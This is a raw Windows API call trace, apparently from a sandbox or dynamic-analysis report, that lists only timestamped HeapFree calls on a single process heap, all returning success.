	[0076.861] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ea39c8 | out: hHeap=0x500000) returned 1
	[0076.866] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ea39c8 | out: hHeap=0x500000) returned 1
	[0077.501] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ea39c8 | out: hHeap=0x500000) returned 1
	[0077.505] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ea39c8 | out: hHeap=0x500000) returned 1
	[0077.507] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ea39c8 | out: hHeap=0x500000) returned 1
	[0077.510] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ea39c8 | out: hHeap=0x500000) returned 1
	[0077.513] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ea39c8 | out: hHeap=0x500000) returned 1
	[0077.515] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ea39c8 | out: hHeap=0x500000) returned 1
	[0077.518] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ea39c8 | out: hHeap=0x500000) returned 1
	[0077.521] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ea39c8 | out: hHeap=0x500000) returned 1
	[0077.524] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ea39c8 | out: hHeap=0x500000) returned 1
	[0077.527] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ea39c8 | out: hHeap=0x500000) returned 1
	[0077.529] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ea39c8 | out: hHeap=0x500000) returned 1
	[0077.533] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ea39c8 | out: hHeap=0x500000) returned 1
	[0077.536] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ea39c8 | out: hHeap=0x500000) returned 1
	[0077.540] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ea39c8 | out: hHeap=0x500000) returned 1
	[0077.543] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ea39c8 | out: hHeap=0x500000) returned 1
	[0077.869] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ea39c8 | out: hHeap=0x500000) returned 1
	[0077.874] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ea39c8 | out: hHeap=0x500000) returned 1
	[0077.876] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ea39c8 | out: hHeap=0x500000) returned 1
	[0077.880] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ea39c8 | out: hHeap=0x500000) returned 1
	[0077.882] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ea39c8 | out: hHeap=0x500000) returned 1
	[0078.490] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ea39c8 | out: hHeap=0x500000) returned 1
	[0078.495] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ea39c8 | out: hHeap=0x500000) returned 1
	[0078.497] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ea39c8 | out: hHeap=0x500000) returned 1
	[0078.501] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ea39c8 | out: hHeap=0x500000) returned 1
	[0078.503] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ea39c8 | out: hHeap=0x500000) returned 1
	[0078.508] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ea39c8 | out: hHeap=0x500000) returned 1
	[0078.510] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ea39c8 | out: hHeap=0x500000) returned 1
	[0078.514] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ea39c8 | out: hHeap=0x500000) returned 1
	[0078.519] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ea39c8 | out: hHeap=0x500000) returned 1
	[0078.521] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ea39c8 | out: hHeap=0x500000) returned 1
	[0078.525] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ea39c8 | out: hHeap=0x500000) returned 1
	[0078.527] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ea39c8 | out: hHeap=0x500000) returned 1
	[0078.537] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ea39c8 | out: hHeap=0x500000) returned 1
	[0078.537] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e839b8 | out: hHeap=0x500000) returned 1
	[0078.538] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3df3978 | out: hHeap=0x500000) returned 1
	[0078.543] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ea39c8 | out: hHeap=0x500000) returned 1
	[0078.549] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0078.554] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0078.557] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0079.174] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0079.179] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0079.181] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0079.185] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0079.188] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0079.196] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0079.198] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0079.203] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0079.204] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0079.209] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0079.210] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0079.213] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0079.228] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0079.230] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0079.235] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0079.236] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0079.240] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0079.242] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0079.247] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0079.249] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0079.775] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0079.777] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0079.779] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0079.780] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0079.782] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0079.784] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0079.785] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0079.787] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0079.788] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0079.790] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0079.794] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0079.797] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0079.800] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0079.804] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0079.806] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0079.810] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0079.814] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0079.816] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0079.819] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0079.824] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0079.825] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0079.825] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ea39c8 | out: hHeap=0x500000) returned 1
	[0079.843] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0079.847] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0079.852] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0079.857] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0079.861] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0079.866] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0079.871] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0080.052] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0080.054] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0080.058] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0080.063] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0080.070] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0080.074] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0080.078] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0080.083] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0080.103] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0080.108] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0080.110] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0080.113] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0080.116] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0080.496] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0080.501] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0080.505] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0080.510] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0080.514] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0080.517] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0080.522] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0080.527] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0080.532] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0080.536] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0080.838] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0080.857] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0080.862] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0080.862] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0080.864] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0080.865] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0080.866] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0080.867] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0080.869] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0080.870] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0080.872] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0080.873] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0080.874] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0080.876] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0080.877] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0080.879] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0080.881] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0080.882] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0080.883] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0080.884] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0080.885] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0080.886] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0080.892] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0080.894] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0080.895] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0080.896] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0080.896] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0080.897] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0080.898] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0080.911] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0080.913] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0080.914] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0080.915] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0080.917] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0080.917] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0080.918] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0080.919] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0080.920] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0080.921] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0080.923] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0080.924] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0080.925] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0080.926] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0080.929] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0080.929] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0080.932] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0080.933] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0080.933] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0080.938] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0080.940] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0081.240] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0081.245] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0081.250] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0081.255] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0081.257] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0081.262] HeapFree (hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8) 
	[0081.262] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0081.292] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0081.297] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0081.302] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0081.307] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0081.312] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0081.316] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0081.316] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0081.317] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3edb9e8 | out: hHeap=0x500000) returned 1
	[0081.334] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0081.339] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0081.339] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0082.174] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0082.175] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0082.184] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0082.184] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0082.186] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0082.186] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0082.186] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0082.203] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0082.203] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0082.208] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ecb9e0 | out: hHeap=0x500000) returned 1
	[0082.213] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ecb9e0 | out: hHeap=0x500000) returned 1
	[0082.213] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ecb9e0 | out: hHeap=0x500000) returned 1
	[0082.213] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0082.220] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ecb9e0 | out: hHeap=0x500000) returned 1
	[0082.221] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0082.221] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0082.224] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0082.243] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0082.250] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0082.250] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0082.252] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0082.507] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3edb9e8 | out: hHeap=0x500000) returned 1
	[0082.509] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3edb9e8 | out: hHeap=0x500000) returned 1
	[0082.509] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0082.510] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0082.521] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0082.522] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0082.527] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0082.533] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0082.534] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0082.973] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0082.999] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0083.010] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0083.010] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0083.011] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0083.011] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0083.011] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0083.011] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0083.011] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0083.011] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0083.011] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0083.011] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0083.011] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0083.012] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0083.012] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0083.012] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
